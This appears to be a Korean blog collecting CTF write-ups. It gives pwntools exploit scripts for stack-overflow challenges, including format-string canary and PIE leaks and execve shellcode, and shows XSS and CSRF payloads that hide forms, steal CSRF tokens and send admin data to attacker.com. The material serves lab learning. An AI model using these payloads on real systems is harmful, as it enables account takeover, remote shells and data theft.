나른한 고양이

NX + canary + PIE가 적용됐다고 합니다. PIE는 Position Independent Execution으로, 실행할 때마다 함수들의 주소가 바뀌는 보호기법입니다. 이전 문제들처럼 0x4011dd 이렇게 고정되지 않아 함수의 주소도 동적으로 찾아줘야 합니다. 

문제 설명에 대놓고 포맷 스트링 버그를 이용하라고 합니다. 힌트를 공짜로 줍니다.

이번에는 get_shell이 아닌 win이라는 이름의 함수가 있습니다. 따로 사진은 없지만, get_shell과 같은 역할입니다.

어셈블리 코드로 보면 놓칠 수도 있지만, fsb를 이용하라는 힌트가 있었기 때문에 printf 부분을 잘 살펴보면 이런 부분이 존재합니다.

스택 영역을 첫번째 인자로 보냅니다. 대충 C언어로 보면 다음과 같습니다.

char buf[0x60];
...
printf(buf);
...

이러면 %p, %n 등의 포맷스트링을 입력했을 때 그대로 "%p", "%n"처럼 출력되는게 아닌 "0x39f0a8"이 출력되는 것처럼 제기능을 하게 됩니다.

%p를 여러번 입력하면 스택에 있는 값까지도 노출됩니다. 

무작정 %p를 여러번 입력해봤더니 온갖 값들이 출력된 것을 확인할 수 있습니다. 파란 네모로 쳐둔 값이 00으로 끝납니다. 이 값이 canary인 것으로 의심됩니다. 

하지만 이번엔 canary만으로는 win 함수에 도달할 수 없습니다. PIE가 설정되어있기 때문에 PIE base 또한 알아야 합니다.

일단 메인 함수는 0x5555...로 시작하는 PIE base를 가졌습니다. 똑같이 시작하는 주소를 하나 찾아내어, 해당 주소가 함수의 영역인지 확인할 수 있다면 PIE값을 어느정도 유추할 수 있을 것입니다. 

gdb에서 스택을 확인해보니 주황색 네모처럼 0x5555..로 시작하는 값을 하나 찾을 수 있었습니다. 해당 영역은 다음과 같이 메인 함수의 시작점인 것을 확인할 수 있습니다.

그렇다면 이 부분까지 첫번째 단계에서 leak을 하여 메인 함수의 시작점을 얻어내고, win 함수와의 거리를 계산하여 PIE가 적용된 win 함수의 시작 주소를 얻어낼 수 있습니다.

canary로부터 6개의 8바이트 값을 지나면 메인함수의 시작주소이므로, 아마 주황색 네모로 친 부분이 PIE가 적용된 메인함수의 주소일 것입니다. 

PIE가 적용되기 전, 함수들의 주소를 살펴보면 win 함수의 주소가 main보다 0x41만큼 낮은 곳에 위치하고 있습니다. 따라서 canary 다음 6개의 8바이트를 지나서 얻은 주소에 0x41만큼 빼주면 win의 주소가 되는 것입니다. 

이번에도 그냥 가면 do_system에서 segmentation fault가 일어나기 때문에 ret 가젯까지 찾아서 가줍니다.

ret 가젯은 main으로부터 0x9f만큼 높은 주소에 위치합니다. 

페이로드는 다음과 같습니다.

첫번째: %p %p %p .... %p %p
두번째: A*0x58 +  [canary] + A*8 + [ret 가젯] + [win 주소]

exploit 코드입니다.

from pwn import *
p = remote('ip', 9004)

p.recvuntil(b': ')
p.send(b'%p '*23)
result = p.recvuntil(b': ').split(b'[')[0]
result_list = result.split(b' ')

canary = int(result_list[16].decode(), 16)
base = int(result_list[22].decode(), 16)

ret_addr = base + 0x9f
win_addr = base - 0x41
payload = b'A'*88 + p64(canary) + b'A'*8 + p64(ret_addr) + p64(win_addr)

p.send(payload)
p.interactive()

NX + Stack Canary가 적용된 파일이라고 합니다. 친절히 2단계 입력이고 canary를 먼저 leak하고 오버플로우하라고 쓰여있습니다.

이번에도 checksec은 건너뛰고 함수 목록부터 살펴봤습니다. get_shell이 이번에도 존재하는 것을 확인할 수 있습니다. 이번에도 아마 ret2win이 최종루트이지 않을까 싶습니다.

메인 함수의 전체 코드입니다. 이 중 canary에 해당하는 부분은 다음과 같습니다.

canary를 스택에 넣어두고 메인 함수를 return 하기 전 검사하는 로직을 통해 변조됐을 경우 __stack_chk_fail 함수로 보내버립니다. return address보다 앞(낮은 주소)에 있기 때문에 return address를 변조하기 위해서는 canary를 최대한 건드리지 않고 지나가야 합니다. 일단 2단계 입력이라고 했으니 실행해보면서 어떤 동작인지 확인해보겠습니다.

stage 1에서는 사용자의 입력을 그대로 돌려주고 stage 2에서는 입력만 받고 곧바로 종료됩니다. stage 1에서 입력을 그대로 돌려주는 부분이 중요할 것 같습니다.

stage1에서는 0x50만큼의 바이트를 읽어들이고, stage 2에서는 0x100만큼의 바이트를 읽어들이는 오버플로우 취약점을 확인할 수 있습니다.

stage 1에서, rsp를 0x50만큼 뺐으니 0x50만큼의 바이트를 읽어들이는게 문제처럼 보이지 않을 수 있지만, rsp를 0x50만큼 뺐던건 canary의 공간까지 포함을 했던 것이기 때문에 canary를 덮어쓰거나 할 수 있는 위험은 여전히 남아있습니다. 예상 코드는 대충 이렇습니다.

char buf[0x48];

printf("[*] stage 1 - leak: ");
read(stdin, buf, 0x50); // stdin == 0

printf("%s", buf);

printf("\n[*] stage 2 - overflow: ");
read(stdin, buf, 0x100); // stdin == 0

첫번째 read 함수를 호출하기 직전 스택의 상황은 위와 같습니다. 파란 영역이 buf의 영역이고, 주황색 영역이 canary입니다. 하지만 첫번째 입력에서 canary까지 간섭할 정도의 바이트수를 받기 때문에 canary를 leak할 수 있습니다. 

기본적으로 printf는 NULL문자, 즉 \x00를 만나기 전까지 이어서 출력을 합니다. canary의 첫 바이트(가장 낮은 위치의 바이트)는 \x00으로 고정이기 때문에 만약 read 함수가 0x50만큼이 아니라 0x48만큼만 읽었다면 canary를 leak할 수 없었을 것입니다. 하지만 0x50이기 때문에 canary의 첫 바이트를 \x00이 아닌 다른값으로 덮어씌워, printf로 canary의 값까지 출력시킬 수 있습니다. 

따라서, 첫번째 입력에는 아무 문자나 0x49만큼, 즉 73개의 아무 문자를 입력하면 됩니다.

A를 73개 입력하니 이상한 값이 같이 출력됐습니다. 이는 파이썬으로 받으면 됩니다. 

앞의 72개 문자를 잘라내고 첫번째 A(\x41)를 \x00로 바꾼 뒤 8바이트만 잘라내면 canary를 정확히 얻어낼 수 있습니다.

따라서 페이로드는 다음과 같습니다.

이번에도 do_system에서 스택정렬에 의한 segmentation fault가 일어나니 ret 가젯을 활용해줍니다.

첫번째: A*0x49
두번째: A*0x48 + [canary] + A*8 + [ret 가젯] + [get_shell 주소]

exploit 코드입니다. 

from pwn import *
sh_addr = 0x401224
ret_addr = 0x40130e
p = remote('ip', 9003)

# stage 1
p.recvuntil(b': ')
p.send(b'A'*73)

canary = p.recvuntil(b': ').split(b'[')[0][72:].replace(b'A', b'\x00', 1)[:8] print('\\x' + canary.hex(' ', -1).replace(' ', '\\x')) payload = b'A'*72 + canary + b'A'*8 + p64(ret_addr) + p64(sh_addr)

# stage 2
p.send(payload)
p.interactive()

문제 설명을 보면, NX만 적용됐다고 합니다. 또한, 이미 존재하는 함수로 return하라고 쓰여있습니다. 아마 추가적인 win 함수가 있는듯 합니다. system() 정렬 이슈에 주의하라는 문구가 써있는데, 처음에는 뭔소린지 몰랐다가 나중에 알게 됐습니다. 이후 서술하겠습니다.

checksec 확인은 넘어가고, 바로 함수 목록부터 살펴봤습니다. 사용자 함수로 보이는 get_shell이라는 함수가 존재합니다.

디스어셈블을 해보니 냅다 바로 쉘을 꺼내주는 함수임을 알 수 있습니다. 이 함수로 도달만 시키면 될 것 같습니다.

메인 함수를 살펴보면 페이로드만을 받습니다.

0x40만큼의 공간을 확보해두고 0x100만큼의 값을 읽어들이는 걸 확인할 수 있습니다. 코드를 대충 복원해보면 다음과 같습니다.

char buf[0x40];
puts("[*] no more shellcode. now what?");
puts("[*] send your payload:");

read(stdin, buf, 0x100); // stdin == 0

이렇게 봤을 땐, 단순히 0x40 + 0x8만큼의 쓰레기값을 채우고 PIE도 걸려있지 않으니 바로 get_shell의 주소인 0x4011dd를 return address로 덮어씌워주면 될 것 같습니다. 

페이로드:

A*0x48 + 0x4011dd

하지만 이대로 페이로드를 보내보면 쉘이 얻어지지 않습니다. 원인을 알아내기 위해 gdb로 직접 값을 넣어서 돌려봤습니다.

do_system이라는 library 함수에서 segmentation fault가 난 것을 확인할 수 있습니다. 한참을 찾아본 결과, glibc 함수는 내부적으로 속도 향상을 위해 movaps라는 instruction을 사용하는데, 이 instruction은 rsp 값이 0으로 정렬되어 있어야만 정상작동한다고 합니다.

일반적인 함수 호출 흐름이였다면, call instruction이 사용되면서 rsp 값이 8만큼 감소합니다(rsp: 0x~~8). 하지만 호출된 함수 내부로 들어가면서 스택프레임(push rbp; mov rbp, rsp)에 의해 rbp가 push되며 8만큼 추가적으로 감소하여 rsp의 끝자리는 0으로 유지가 됩니다. 

하지만 스택 오버플로우를 통해 call이 아닌 ret로 함수 이동이 되는 경우에는 call instruction이 사용되지 않아 스택프레임만에 의해 rsp 값이 8만큼 감소합니다. 결국 rsp의 끝자리가 8인채로 do_system에 진입하기 때문에 segmentation fault가 일어나게 됩니다. 자세한건 이 블로그를 참고하면 좋습니다.

아무튼, rsp를 8만큼 빼든 더하든 해서 정렬을 시켜줄 필요가 있습니다. 그 중 가장 단순한 방법이 ROP 가젯을 활용하는 방법인데, get_shell 주소 앞에 ret instruction이 있는 주소를 붙여둬서 rsp를 8만큼 더하는 방식을 사용할 수 있습니다.

원래는 파란 네모에 리턴 주소를 넣었지만, 이제는 파란 네모에 ret 가젯을 넣고, 주황색 네모에 리턴주소(get_shell의 시작점)를 넣는 겁니다. ret는 pop rdi; jmp rdi 같은 역할을 하기 때문에 rsp의 값이 0x7fffffffdce8이 될 것입니다. 이대로 get_shell에 진입하여 스택프레임을 거치면 rsp의 값은 0x7fffffffdce0이 될 것입니다. 그러면 do_system에서 문제를 일으키지 않을 것입니다. 

페이로드는 다음과 같습니다.

[0x48만큼의 더미값] + [ret 가젯] + [get_shell의 주소]

ret 가젯은 main함수에서 쉽게 찾을 수 있습니다.

exploit 코드입니다.

from pwn import *
p = remote('ip', 9002)

p.recvuntil(b'payload:')
payload = b'A'*0x48 + p64(0x401242) + p64(0x4011dd)

p.send(payload)
p.interactive()

문제 설명에 친절히 풀이법이 적혀있습니다. checksec으로 파일에 걸린 보안장치를 확인해보았을 때, 다음과 같습니다.

문제 설명에 적혀있듯, 보안장치들이 걸려있지 않습니다. gdb를 사용하여 main 함수를 살펴보면 다음과 같습니다.

스택에 0x40만큼의 공간을 확보하고 printf와 puts를 호출한뒤 read를 통해 값을 입력받는 것을 확인할 수 있습니다.

코드 옆에 주석으로 달린 주소의 값들을 문자열이라고 상정하고 확인해보니 위와 같은 문자열이 저장돼있는 것을 확인할 수 있었습니다. 이를 통해 코드의 일부분을 예측해보면 다음과 같습니다.

char buf[0x40];
printf("[*] buf is at %p\n", buf);
puts("[*] send your payload:");

read(stdin, buf, 0x200); // stdin == 0

return 0;

스택은 분명 0x40만큼의 공간을 확보해뒀는데 0x200만큼의 값을 읽어들이는 코드를 확인할 수 있습니다. 이를 이용해 스택 오버플로우를 일으킬 수 있습니다. 

위에서 보안장치를 살펴봤을 때 NX가 걸려있지 않았던 점을 활용해 스택 여유공간(buf 영역)에 쉘코드를 넣어두고, 나머지 공간을 쓰레기 값들로 채운 뒤, return 주소를 buf의 주소로 덮어씌운다면 쉘을 따낼 수 있을 것입니다.

read 함수가 실행되기 직전 스택 상황을 보면 위와 같습니다. 빨간 영역은 buf, 파란 영역은 저장된 rbp 값, 노란 영역이 buf의 주소로 덮어씌울 대상인 return address입니다. 맨 처음에 buf의 주소를 직접 알려주기 때문에 해당 주소값을 활용하면 됩니다. 페이로드는 다음과 같이 작성될 예정입니다. 

[쉘코드] + [buf 공간을 채울 쓰레기값] + [임의의 8바이트 쓰레기값] + [buf의 주소]

쉘코드는 이 블로그에서 가져왔습니다 : \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

exploit 코드입니다.

from pwn import *

p = remote("ip", 9001)

p.recvuntil(b'[*] buf is at ')
addr = int(p.recvuntil(b'[*] send your payload:').split(b'\n')[0].decode(), 16)

payload = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'.ljust(0x48, b'\x90') + p64(addr)
p.send(payload)

p.interactive()

Segfault CTF - 12주차

`GET Admin 1` -> `GET Admin 2` -> `GET Admin 3` 순으로 푼다. 이번 문제는 CSRF 공격을 이용하게 된다.

`[아이디]`라는 ID로 계정을 생성하면 해당 ID와 함께 `[아이디]_admin`이라는 ID로 관리자 계정이 생겨난다. 이번 문제에서부터는 mypage.php 페이지에서 회원정보(정확히는 비밀번호만) 수정이 가능해졌다. 

1. GET Admin 1

이전까지 풀었던 문제와 똑같이 생긴 웹사이트다. 

달라진 점이라고 한다면 회원정보 수정이 가능해졌다는 것이다. 원래 `nciwo`였던 비밀번호를 `asdf`로 바꿔보았다.

앞으로 로그인을 할 때 비밀번호에는 `nciwo`가 아닌 `asdf`로 해야한다.

mypage.php

mypage.php의 페이지 소스 코드를 확인해보면, 제출(<form> 태그)이 mypage_update.php라는 페이지로 향한다는 것을 알 수 있다. 실제로 회원정보 수정이 이루어지는 곳은 mypage_update.php라는 파일이라는 뜻을 의미한다.

실제로 mypage_update.php로 전송 및 응답된 패킷을 확인해보면 위와 같다. POST 요청을 날려, body에 적힌 정보들을 통해 회원정보를 수정한다. 

하지만 POST 방식이 아닌 GET 요청을 했을 때 또한 회원정보가 정상적으로 수정되는 것을 확인할 수 있다.

그렇다면 굳이 POST 방식이 아닌 GET 방식, 즉, URL을 생성해 CSRF 공격을 할 수 있는 것이다.

`~~/csrf_1/mypage_update.php?id=&info=&pw=1234`라는 URL을 클릭하면 클릭한 사용자의 비밀번호가 `1234`로 바뀌게 된다.

하지만 URL이 너무너무 수상하게 생겼다. 설령 URL을 다른 URL로 위장한다고 해도(예를 들어 URL 단축 서비스 사용), 해당 링크를 클릭한 사용자는 다음의 화면을 마주하게 될 것이다.

링크를 클릭했더니 "회원 정보 수정에 성공하셨습니다!"라는 문구가 출력된다. 누가 봐도 수상하다. 사용자는 이 사실에 대해 즉시 운영자에게 알리거나, 여전히 회원정보 수정이 가능한 상태라면 원래의 비밀번호로 되돌려놓을 것이다.

사용자가 자신도 모르는 새에 해당 링크에 접속하게 해야만 한다.

XSS

위와 같은 경우로 인해, CSRF는 보통 XSS와 같이 쓰이곤 한다. 단순히 <img> 태그의 `src` 속성 값을 변조된 mypage_update.php URL로 지정해두면, 클라이언트는 이미지를 불러오기 위해 해당 링크를 타고 들어갈 것이다. 사용자도 모르는 새에 회원정보가 수정되게 된다. 만약 XSS의 취약점이 Stored XSS에 해당한다면, 피해자는 글을 읽기만 해도 비밀번호가 털리는 것이다. 

XSS Point

XSS와 함께 CSRF를 하고 싶다면 당연히 XSS 취약점 또한 찾아야 한다.

이번에도 notice_read.php 페이지에서 XSS 취약점을 찾았다. <img> 태그를 이용해서 mypage_update.php에 접속하도록 Stored XSS를 시도해보겠다.

글에 들어가보니 깨진 이미지 아이콘이 보인다. 로그아웃한 뒤, 원래 ID, PW인 `nciwol`, `nciwo`로 로그인해보겠다.

로그인이 되지 않는다. 비밀번호를 `nciwo`가 아닌 `1234`로 하여 다시 로그인해보겠다.

비밀번호를 1234로 바꾼 적이 없는데도 겨우 글 하나 읽었다고 내 비밀번호가 강제로 변경됐다. 

이로써 CSRF + XSS 공격이 먹힌다는 것을 확인했다. 하지만 걸리는 것이 하나 있다.

정상적인 글인척 하기

저 깨진 이미지 아이콘이 거슬린다. 누군가 어떤 이미지를 사용하려했던건지 궁금해서 HTML 소스 코드를 확인할 수도 있다.

`src`의 값을 확인해보니 mypage_update.php? 수상하다. 

애시당초 깨진 이미지 아이콘이 나오지 않도록 한다면 글을 읽는 사람이 HTML 소스코드를 확인할 일도 없을 것이다.

따라서 <img> 태그속성이 안 보이도록 `style` 속성을 수정해준다면 더욱 완벽할 것이다.

`style`의 속성을 이용해 `display`의 값을 `none`으로 준다면 더이상 보이지 않을 것이다.

깨진 이미지 아이콘이 보이지 않는다. 완성됐으니 관리자봇에게 해당 포스트의 URL을 넘겨보겠다.

이제 `nciwol_admin`이라는 ID와, `1234`라는 비밀번호를 가지고 로그인해보겠다.

2. GET Admin 2

1번 문제와 별로 다른 설명이 붙어있지는 않다.

1번 문제와 유일하게 다른 점은 mypage_update.php에서 GET 요청을 받지 않는다는 것이다. GET 요청을 받지 않는다면 원래대로 POST 요청을 하는 수밖에 없다. POST 요청만으로 수행이 되는 경우에는 CSRF 단독으로 사용할 수 없다. XSS가 강제된다.

const form = document.querySelector('form');
form.submit();

위의 javascript 코드를 이용하면 <form> 태그를 바로 제출할 수 있다. XSS를 같이 사용한다면 다음의 HTML 코드를 이용해 CSRF 공격을 할 수 있다.

<form action="mypage_update.php" method="POST" id="myForm">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="1234" />
</form>
<script>
	const myForm = document.getElementById('myForm');
    myForm.submit();
</script>

실제로 해당 태그들을 담은 글을 작성하면 다음과 같이 글을 읽었을 때 회원정보가 수정된다.

`확인` 버튼을 누르면 로그아웃되고, index.php 페이지로 돌아간다. 사용자에게 들키지 않기 위해서는 이렇게 알림창이 뜨고, index.php 페이지로 돌아가면 안된다. 

mypage_update.php에서의 응답 패킷을 자세히 살펴보면 스크립트를 통해 사용자를 index.php로 돌려보내는 것이다. 즉, 이 스크립트만 실행이 되지 않는다면, 추가적으로 바로 위에 있는 alert() 코드까지 실행되지 않는다면 사용자는 눈치채지 못할 것이다. 

<iframe> 태그에서 `sandbox` 속성을 이용하면 스크립트 등을 차단할 수 있다. 

<iframe name="myFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" target="myFrame" id="myForm">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="5678" />
</form>
<script>
	document.getElementById('myForm').submit();
</script>

변화를 보기 위해 `pw`의 값을 `1234`가 아닌 `5678`로 바꿨다.

위의 내용을 작성한 글에 들어가보면 다음과 같은 글이 보인다.

login.php에 들어가 ID: `nciwo`, PW: `1234`로 로그인을 시도해보겠다.

처음 변경했던 `1234`라는 비밀번호를 입력하니 로그인에 실패했다.

그렇다면 이번에 새로 시도한 `5678`이라는 비밀번호로 다시 시도해보겠다.

`5678`로 시도하니 로그인이 됐다. 즉, 아까 작성한 글에 의해 비밀번호가 `5678`로 바뀌었다는 것이다. 

하지만 이런 글을 보면 좀 수상할 수 있다. 전부 `display`를 `none`으로 하여 안 보이도록 하겠다.

아무 내용도 없는 글이 완성됐다. 원한다면 글을 작성해서 더욱 자연스럽게 보일 수 있다.

완성된 이 페이지를 관리자 봇에게 넘겨준뒤, `nciwo_admin`이라는 ID와 `5678`이라는 비밀번호를 입력해 로그인 하면 다음과 같이 Flag을 얻어낼 수 있다.

3. GET Admin 3

마지막 3번째 문제도 설명은 변한 것이 없다. 이번 문제 또한 겉보기에는 딱히 변한 것이 없어보이지만, mypage.php 페이지에서 회원정보를 수정해 mypage_update.php로 요청을 보내면 다음과 같은 패킷을 확인할 수 있다.

전달되는 것이 `id`, `info`, `pw` 이외에 하나가 더 있다. `csrf_token`이라는 것인데, 랜덤한 것처럼 보이는 문자열이 값으로 담겨있다. 만약 해당 토큰을 이용해 사용자를 인증하는 것이라면, 분명 어딘가에서 해당 값을 서버로부터 받았을 것이다. 

멀지 않은 곳에서 해당 토큰 값을 찾아낼 수 있었다. mypage.php 페이지를 받아올 때 애초에 숨겨진 <input> 태그의 value로 들어가있었다. 이런 토큰을 사용하면 POST 요청만을 받았을 때처럼 CSRF 단독으로 하는 공격이 불가능해진다. 하지만 여전히 XSS와 함께 하는 CSRF에는 취약하다.

보아하니 사용자가 mypage.php에 접속할 때마다 새로운 인증 토큰을 발행하는 것 같은데, <iframe> 태그를 이용해서 mypage.php에 접속해 해당 토큰을 가져오면 그만이다.

<iframe src="mypage.php" id="tokenFrame" onload="
	const tokenFrame = document.getElementById('tokenFrame');
    const newDoc = tokenFrame.contentDocument;
    
    const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
    console.log(csrf_token);
"></iframe>

위의 내용을 담은 글을 작성하면 글을 읽는 순간 콘솔 창에 어떠한 문자열이 출력될 것이다. 그리고 그 문자열이 바로 csrf_token이 될 것이다.

csrf_token의 값을 가져왔다. 이 다음부터는 2번 문제를 풀듯이 풀면 된다.

<iframe name="targetFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" id="myForm" target="targetFrame">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="5678" />
    <input name="csrf_token" id="myToken"/>
</form>
<iframe id="tokenFrame" src="mypage.php" onload="
	const myForm = document.getElementById('myForm');
    const myToken = document.getElementById('myToken');
	const tokenFrame = document.getElementById('tokenFrame');
    const newDoc = tokenFrame.contentDocument;
    
    const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
    myToken.value = csrf_token;
    myForm.submit();
"></iframe>

글을 읽어보면 수상해보이는 <input>이 좀 보이긴 한다.. 일단 로그아웃하고 비밀번호가 정상적으로 `5678`로 변경됐는지 확인해보겠다.

원래 비밀번호인 `1234`로 로그인을 시도했을 때는 로그인이 되지 않는다.

`5678`이란 비밀번호를 사용하니 로그인이 됐다. CSRF + XSS 공격이 제대로 들어가고 있다는 것이다.

하지만 아직 끝난게 아니다.

많이많이 수상해보인다. 태그들을 전부 숨기겠다.

대충 이렇게 꾸미면 의심하지는 않을 것이다.

바로 관리자 봇에게 악성 스크립트가 담긴 글의 URL을 넘겨주고 ID: `nciwo_admin`, PW: `5678`로 로그인해보겠다.

Segfault CTF 11주차

총 3개의 문제가 있다. 푸는 순서는 `Basic Script Prac` -> `Steal Info` -> `Steal Info 2`이다.

이번 3개의 문제들은 기본적으로 관리자 봇을 XSS 취약점이 존재하는 특정 링크에 접속시켜, 관리자 계정으로 접속해야만 볼 수 있는 텍스트를 탈취하는 것이 목표다.

1. Basic Script Prac

XSS가 일어나는 포인트를 알려줬다. Mypage에서 정확히 어느 지점에서 XSS가 일어날 수 있는지 알아보겠다.

XSS  Point

`ID: nciwo, PW: nciwo`로 로그인한 뒤 Mypage에 접속한 모습이다. 얼핏 보기에는 ID 입력창에서 XSS가 일어날 것처럼 보인다. 관리자 계정으로 Mypage에 접속하면 "Flag Here..!"라고 되어있는 부분에 Flag가 있을 것으로 보인다.

서버에 저장된 세션을 참고해 ID를 placeholder로 설정해둔 것일 수도 있지만 혹시 URL의 파라미터를 그대로 가져온 것일 수도 있기 때문에 URL의 파라미터를 변조해보겠다.

파라미터 `user`에 대한 값으로 `nciwo<'">`를 입력했더니 입력창이 깨져 출력되었다.

Burp Suite를 통해 응답받은 패킷을 살펴보면 위와 같다. HTML 특수문자들이 HTML Entity로 치환되지 않고 그대로 출력이 되는 모습이다. 여기가 XSS 포인트다.

Javascript Code

관리자 계정에서는 위에서 봤듯이 "Flag Here..!"라고 써있는 부분에 Flag가 placeholder의 값으로 있을 것이다. 따라서 정확히 저 부분에 있는 텍스트를 추출해낼 필요가 있다.

저 입력창을 식별할 수 있는 정보는 `name` 속성의 값으로 `info`가 지정되어 있다는 것이다. Console 창에 다음 코드를 테스트해보겠다.

const infos = document.getElementsByName('info');
console.log(infos[0].placeholder);

이렇게 얻어낸 `info`의 placeholder 값을 공격자 서버로 전송하기만 하면 된다.

const infos = document.getElementsByName('info');
const data = infos[0].placeholder;
const i = new Image();
i.src="http://attacker.com/?data=" + data;

Attack

공격 스크립트도 준비되었으니 XSS 포인트에 스크립트를 삽입하여 URL을 만들기만 하면 된다.

이미 존재하던 <input> 태그는 최대한 깨지지 않는 선에서 스크립트를 삽입해보겠다.

... placeholder="[입력]"/>

원래의 형태는 위와 같다. `[입력]`의 앞부분은 깨질 우려가 적지만, 뒤에 있는 `"/>`는 자칫하면 깨질 수도 있다. 따라서 시작과 끝맺음은 다음처럼 하는 것이 좋다.

... placeholder="" [부가 입력] class=""/>

`" [부가 입력] class="`라는 입력을 넣어 `[부가 입력]` 구간에 자유롭게 태그 속성을 편집할 수 있도록 하였다. 

`onfocus` 속성을 사용하면 해당 입력창에 focus됐을 때 특정 스크립트를 실행시킬 수 있다. 추가적으로 `autofocus` 속성을 사용하면 페이지가 로딩되었을 때 해당 태그를 자동으로 focus되도록 할 수 있다.

... placeholder="" onfocus="[javascript]" autofocus class=""/>

즉, 위와 같이 입력을 넣으면 `[javascript]` 부분에 있는 코드를 페이지가 로드되자마자 실행시킬 수 있는 것이다. 아까 만든 javascript 코드를 `[javascript]` 부분에 넣기만 하면 공격 준비가 거의 완료된다.

" onfocus="const infos = document.getElementsByName('info');const data = infos[0].placeholder;const i = new Image();i.src='http://attacker.com/?data=' + data;" autofocus class="

최종적으로 `user` 파라미터의 값으로 들어갈 문구의 원본은 위와 같다.

해당 값을 URL 인코딩하여 입력해 들어갔을 때 공격자의 서버로 패킷이 날아간다면 성공적인 것이다. 

관리자 봇에게 만들어진 URL을 던져주면 알아서 Flag가 들어올 것이다.

requestbin을 이용해, 관리자 봇의 요청에 대한 로그를 확인했다.

2. Steal Info

`Basic Script Prac`과 비슷한 패턴의 문제다. 이번에는 XSS Point를 가르쳐주지 않았다.

secret.php

`~/scriptPrac/secret.php`로 접속하면 권한이 없다면서 튕겨져 나온다. 아마 관리자 권한이 있어야만 접근 가능한 것 같다. 이 페이지를 대신해서 존재하는 것이 mypage.html인 것 같다.

`내 정보` 란에 "This is a Very Secret Info."라고 쓰여있다. secret.php에선 해당 부분에 Flag가 있을 것 같다. 

XSS Point

어떤 정보를 얻어야할지는 대충 감을 잡았으나, 사실 더 중요한 건 XSS가 일어나는 지점이다. 다행히 XSS Point는 그리 어렵지 않게 찾아낼 수 있었다.

HTML 특수문자를 담은 글을 작성한 뒤, 글을 읽었을 때 Burp Suite를 통해 정확히 어떤 응답 패킷이 오는가를 살펴보면,

HTML Entity로 치환되지 않은 날 것의 텍스트가 그대로 오는 것을 확인할 수 있다. 즉, notice_read.php에서 XSS 취약점이 존재한다.

Get Info

앞서 mypage.html(secret.php)에 중요한 정보가 있을 것이라는 추측을 하였다. 해당 정보를 공격자의 서버로 보내보겠다.

중요한 텍스트를 식별할 수 있는 정보는 속성 `class`의 값이 "card-text"라는 것이다. 하지만 `class`는 고유한 정보를 담는 속성은 아니다. 

`class`로 "card-text"를 가진 태그는 총 2개였다. 그 중에서도 인덱스 1번에 찾고자 했던 정보가 담겨 있었다. 이를 토대로 공격자 서버로 중요한 정보를 보내는 코드를 작성할 수 있다.

const cards = document.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = 'https://attacker.com/?data=' + data;

이 코드를 그대로 적용하려고 했지만 문제가 하나 있다. 취약점은 notice_read.php에 존재하는데, 얻고자 하는 데이터는 secret.php에 있다. secret.php에 있는 데이터를 가져오려면 먼저 notice_read.php에 secret.php 페이지를 불러와야 한다.

iframe

페이지 안에 페이지를 불러오는 좋은 방법이 있다. 바로 <iframe> 태그를 사용하는 것이다. 

<iframe src="~/scriptPrac/mypage.html" id="myIframe" onload="
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const cards = newDoc.getElementsByClassName('card-text');
    const data = cards[1].innerText;
    const i = new Image();
    i.src = 'http://attacker.com/?data=' + data;">
</iframe>

<iframe> 태그의 `src` 속성으로 secret.php 페이지를 불러온 뒤, 이 <iframe>로 기존의 document 객체를 대신해 사용한다.

스크립트는 <iframe>의 로드가 완료된 뒤에 실행되어야하므로 `onload` 속성을 이용해 스크립트를 나중에 실행하도록 하였다.

`myIframe.contentDocument`를 이용해 secret.php의 DOM을 새로운 변수에 담아 사용할 수 있는 것이다.

Attack

공격 스크립트 전문은 다음과 같다.

<iframe src="~/scriptPrac/mypage.html" id="myIframe">
</iframe>
<script>
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const cards = newDoc.getElementsByClassName('card-text');
    const data = cards[1].innerText;
    const i = new Image();
    i.src = "https://attacker.com/?data=" + data;
</script>

secret.php에는 접속 권한이 없으므로 secret.php -> mypage.html로 대체해서 테스트해보겠다.

글을 작성한 뒤 게시판에서 해당 제목을 클릭하여 들어가면 공격자의 서버로 "This is a Very Secret Info."라는 문구가 전송된다.

Burp Suite를 통해 공격자의 서버로 데이터를 전송하는 것을 확인했다. 악성 스크립트에서 mypage.html -> secret.php로 수정하여 관리자 봇에게 해당 포스트의 URL을 줘보도록 하겠다.

공격자의 서버 로그에 Flag가 전송된 것을 확인했다.

3. Steal Info 2

admin 계정의 마이페이지 정보란에 Flag가 숨겨져 있다고 한다. 먼저 일반 사용자의 마이페이지를 확인해볼 필요가 있다.

정보란이라고 하면 아무래도 빨간색 네모로 강조한 "Nothing Here..."이 적힌 부분을 말하는 것 같다. 

해당 태그를 식별할 수 있는 고유 정보인 `id`가 존재한다. 데이터를 가져오기는 수월할 것으로 보인다.

const userInfo = document.getElementById('userInfo');
const data = userInfo.placeholder;
const i = new Image();
i.src= 'http://attacker.com/?data=' + data;

XSS Point

이번 문제에서도 멀지 않은 곳에서 XSS 취약점을 찾을 수 있었다. 바로 전 문제와 동일하게 notice_read.php에 XSS 취약점이 존재했다.

이번 페이지에서도 HTML 특수문자들은 HTML Entity로 치환되지 않은 상태로 클라이언트에게 전달되었다. 

Steal Info 2에서도 같은 지점에서 XSS가 일어날 수 있다.

Attack

앞선 문제를 풀었다면 이번 문제 또한 어려울 것이 없다. 바로 악성 스크립트를 작성해보겠다.

<iframe src="~/scriptPrac2/mypage.php" id="myIframe" onload="
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const userInfo = newDoc.getElementById('userInfo');
    const data = userInfo.placeholder;
    const i = new Image();
    i.src = 'http://attacker.com/?data=' + data;
">
</iframe>

Burp Suite를 통해 "Nothing Here..."라는 문구가 정상적으로 공격자 서버로 보내진 것을 확인할 수 있다.

이제 해당 포스트의 URL을 관리자 봇에게 주도록 하겠다.

XSS

